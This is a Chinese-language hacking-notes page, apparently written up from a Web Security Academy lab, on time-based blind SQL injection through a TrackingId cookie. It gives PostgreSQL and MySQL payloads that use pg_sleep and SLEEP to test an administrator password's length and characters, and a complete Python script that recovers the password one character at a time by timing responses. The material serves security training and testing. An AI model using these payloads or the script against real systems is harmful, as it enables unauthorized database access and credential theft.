> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web/sql-injection/blind-sql-injection-with-time-delay-and-exfiltration.md).

# 基于时间的盲 SQL 注入数据外传

### 带有时间延迟和信息检索的盲 SQL 注入

以下值的 `TrackingId` cookie 被插入到同步 SQL 查询中。当断言为真时会触发条件性中断（`SLEEP` / `pg_sleep`）。信息是通过测量响应时间得出的（即条件为真时会延迟）。

#### PostgreSQL

* 简单睡眠 5 秒：

```
TrackingId=<BASE>' || pg_sleep(5) || '
```

* 条件式（测试是否 `username='administrator'` → 5 秒）：

```
TrackingId=<BASE>' || (SELECT CASE WHEN (SELECT 'a' FROM users WHERE username='administrator')='a' THEN pg_sleep(5) ELSE pg_sleep(0) END) || '
```

* 测试密码长度 = 20：

```
TrackingId=<BASE>' || (SELECT CASE WHEN (SELECT LENGTH(password) FROM users WHERE username='administrator') = 20 THEN pg_sleep(5) ELSE pg_sleep(0) END) || '
```

* 测试字符在 `位置` ：

```
TrackingId=<BASE>' || (SELECT CASE WHEN (SELECT SUBSTRING(password, {pos}, 1) FROM users WHERE username='administrator') = '{char}' THEN pg_sleep(5) ELSE pg_sleep(0) END) || '
```

> Postgres 说明：有时 `FROM` 中的位置必须根据注入请求进行调整；以上示例是常见模式。

#### MySQL

* 简单睡眠 5 秒：

```
TrackingId=<BASE>' AND SLEEP(5)-- -
```

* 条件式（子串）：

```
TrackingId=<BASE>' OR IF(SUBSTRING((SELECT password FROM users WHERE username='administrator'), {pos}, 1) = '{char}', SLEEP(5), 0)-- -
```

* 测试长度 = N：

```
TrackingId=<BASE>' OR IF(LENGTH((SELECT password FROM users WHERE username='administrator')) = {N}, SLEEP(5), 0)-- -
```

> MySQL： `IF(condition, sleep(sec), 0)` 是标准形式；使用 `SUBSTRING(...)` 和 `LENGTH(...)`.

***

### 具体示例（完整 cookie）

假设 `BASE=abc123` 以及 session `'SESSION=XYZ'`.

* Postgres — 字符测试 pos=1== 'a'：

```
Cookie: TrackingId=abc123' || (SELECT CASE WHEN (SELECT SUBSTRING(password,1,1) FROM users WHERE username='administrator')='a' THEN pg_sleep(5) ELSE pg_sleep(0) END) || '; Session=XYZ
```

* MySQL — 字符测试 pos=1== 'a'：

```
Cookie: TrackingId=abc123' OR IF(SUBSTRING((SELECT password FROM users WHERE username='administrator'),1,1)='a', SLEEP(5), 0)-- -; Session=XYZ
```

### 自动化 Python 脚本（已修正，兼容 Postgres 和 MySQL）

该脚本会测量延迟并逐字符重建。参数： `目标`, `BASE_TRACKING`, `SESSION`, `DBMS` (`'postgres'` 或 `'mysql'`），字母表，期望延迟（`SLEEP_SEC`）以及 `MAX_LEN`.

```python
#!/usr/bin/env python3
"""
基于时间的盲 SQLi 提取器（Postgres / MySQL）
用法：配置 TARGET、BASE_TRACKING、SESSION、DBMS，然后运行。
仅在获得授权的环境中运行。
"""

import requests, time, string, sys, signal

# ------------- 配置 -------------
TARGET = "https://EXAMPLE.web-security-academy.net/"
BASE_TRACKING = "test"            # TrackingId 的合法部分
SESSION_VALUE = "SESSION_VALUE"
DBMS = "postgres"                 # "postgres" 或 "mysql"
SLEEP_SEC = 5                     # 触发的服务器端延迟
THRESHOLD = SLEEP_SEC - 1.0       # 如果响应 > 阈值 => 条件为真
ALPHABET = string.ascii_lowercase + string.digits  # 按需调整
MAX_LEN = 30
TIMEOUT = SLEEP_SEC + 5
# ------------- /配置 -------------

HEADERS = {"User-Agent": "Mozilla/5.0"}

def build_payload(sgdb, pos, ch):
    if sgdb == "postgres":
        # 条件：substring(password,pos,1) = 'ch'
        cond = f"(SELECT CASE WHEN (SELECT SUBSTRING(password,{pos},1) FROM users WHERE username='administrator') = '{ch}' THEN pg_sleep({SLEEP_SEC}) ELSE pg_sleep(0) END)"
        payload = f"{BASE_TRACKING}' || {cond} || '"
    elif sgdb == "mysql":
        # IF(SUBSTRING((SELECT password ...),pos,1) = 'ch', SLEEP(X), 0)
        cond = f"IF(SUBSTRING((SELECT password FROM users WHERE username='administrator' LIMIT 1),{pos},1)='{ch}', SLEEP({SLEEP_SEC}), 0)"
        payload = f"{BASE_TRACKING}' OR {cond}-- -"
    else:
        raise ValueError("不支持的 DBMS")
    return payload

def send_request(payload):
    cookies = {"TrackingId": payload, "Session": SESSION_VALUE}
    t0 = time.time()
    try:
        r = requests.get(TARGET, cookies=cookies, headers=HEADERS, timeout=TIMEOUT, verify=True, allow_redirects=False)
    except requests.exceptions.RequestException as e:
        return None, None
    dt = time.time() - t0
    return r, dt

def extract_password():
    pwd = ""
    for pos in range(1, MAX_LEN + 1):
        found = False
        for ch in ALPHABET:
            payload = build_payload(DBMS, pos, ch)
            _, dt = send_request(payload)
            if dt is None:
                print("[!] 请求失败，请重试或检查连接")
                sys.exit(1)
            # 调试：print(f"pos={pos} try={ch} dt={dt:.2f}s")
            if dt > THRESHOLD:
                pwd += ch
                print(f"[+] pos={pos} -> '{ch}'  (dt={dt:.2f}s)")
                found = True
                break
        if not found:
            print(f"[-] 在位置 {pos} 未找到字符 -> 可能结束")
            break
    return pwd

def sigint_handler(sig, frame):
    print("/n已中断。正在退出。")
    sys.exit(0)

if __name__ == "__main__":
    signal.signal(signal.SIGINT, sigint_handler)
    print("[*] 开始提取（基于时间）")
    recovered = extract_password()
    print(f"/n[=] 已恢复的密码（部分/估计）：{recovered}/n")
```

* 对于 **Postgres**, `DBMS="postgres"`.
* 对于 **MySQL**, `DBMS="mysql"`.
* 缩小 `ALPHABET` 如果你知道字符集（收益很大）。
* 根据 `MAX_LEN` / `SLEEP_SEC` 目标进行调整。
* 必要时使用检索/指数退避管理。

<figure><img src="/files/b81a2441ba5da7f3852cc9201fdb5090e61a419e" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/zh/web/sql-injection/blind-sql-injection-with-time-delay-and-exfiltration.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
